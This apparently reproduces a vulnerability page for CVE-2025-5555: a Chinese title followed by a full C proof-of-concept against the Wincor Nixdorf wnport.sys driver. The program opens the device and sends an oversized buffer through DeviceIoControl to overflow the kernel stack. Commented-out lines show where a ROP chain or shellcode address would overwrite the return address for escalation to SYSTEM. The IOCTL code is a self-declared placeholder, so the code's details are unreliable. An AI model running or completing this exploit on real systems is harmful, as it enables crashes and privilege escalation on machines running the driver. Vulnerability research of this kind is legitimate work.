CVE-2025-5555 Nixdorf Wincor PORT IO驱动栈缓冲区溢出漏洞

/* * CVE-2025-5555 - Wincor Nixdorf PORT IO Driver Stack Buffer Overflow PoC * Vulnerability: Stack-based buffer overflow in sub_11100 (wnport.sys IOCTL Handler) * Target: Wincor Nixdorf PORT IO Driver <= 1.0.0.1 * Author: Security Research Team * * This PoC demonstrates the stack-based buffer overflow vulnerability in the * IOCTL Handler of wnport.sys by sending an oversized buffer via DeviceIoControl. * The vulnerability can be leveraged for local privilege escalation to SYSTEM. */ #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // IOCTL code for the vulnerable sub_11100 function in wnport.sys // The exact IOCTL code should be reverse-engineered from the driver #define IOCTL_VULNERABLE_CODE 0x222000 // Placeholder - adjust based on reverse engineering // Device name for Wincor Nixdorf PORT IO Driver #define DEVICE_NAME "\\\\.\\WnPort" // Buffer size to trigger overflow (larger than the destination stack buffer) #define OVERFLOW_SIZE 1024 int main(int argc, char *argv[]) { HANDLE hDevice = INVALID_HANDLE_VALUE; DWORD dwBytesReturned = 0; BOOL bResult = FALSE; // Input buffer: oversized data to trigger stack buffer overflow BYTE inBuffer[OVERFLOW_SIZE]; // Output buffer BYTE outBuffer[OVERFLOW_SIZE]; printf("[*] CVE-2025-5555 - Wincor Nixdorf PORT IO Driver Buffer Overflow PoC\n"); printf("[*] Opening device: %s\n", DEVICE_NAME); // Open a handle to the vulnerable driver hDevice = CreateFileA( DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Failed to open device. Error: %lu\n", GetLastError()); printf("[!] Make sure the Wincor Nixdorf PORT IO Driver is installed.\n"); return 1; } printf("[+] Device opened successfully. Handle: 0x%p\n", hDevice); // Prepare the malicious input buffer // Fill with a recognizable pattern (e.g., 0x41 = 'A') to trigger overflow memset(inBuffer, 0x41, sizeof(inBuffer)); // Optionally place a ROP chain or shellcode address at the offset // where the return address is saved on the stack // size_t retOffset = 0x100; // Adjust based on stack frame layout // *(DWORD64*)(inBuffer + retOffset) = (DWORD64)shellcodeAddress; printf("[*] Sending oversized buffer (%d bytes) to trigger stack overflow...\n", sizeof(inBuffer)); // Trigger the vulnerability by sending the oversized buffer via DeviceIoControl bResult = DeviceIoControl( hDevice, IOCTL_VULNERABLE_CODE, inBuffer, sizeof(inBuffer), outBuffer, sizeof(outBuffer), &dwBytesReturned, NULL ); if (!bResult) { printf("[!] DeviceIoControl failed. Error: %lu\n", GetLastError()); } else { printf("[+] DeviceIoControl returned %lu bytes\n", dwBytesReturned); } // Clean up CloseHandle(hDevice); printf("[*] PoC execution completed.\n"); return 0; }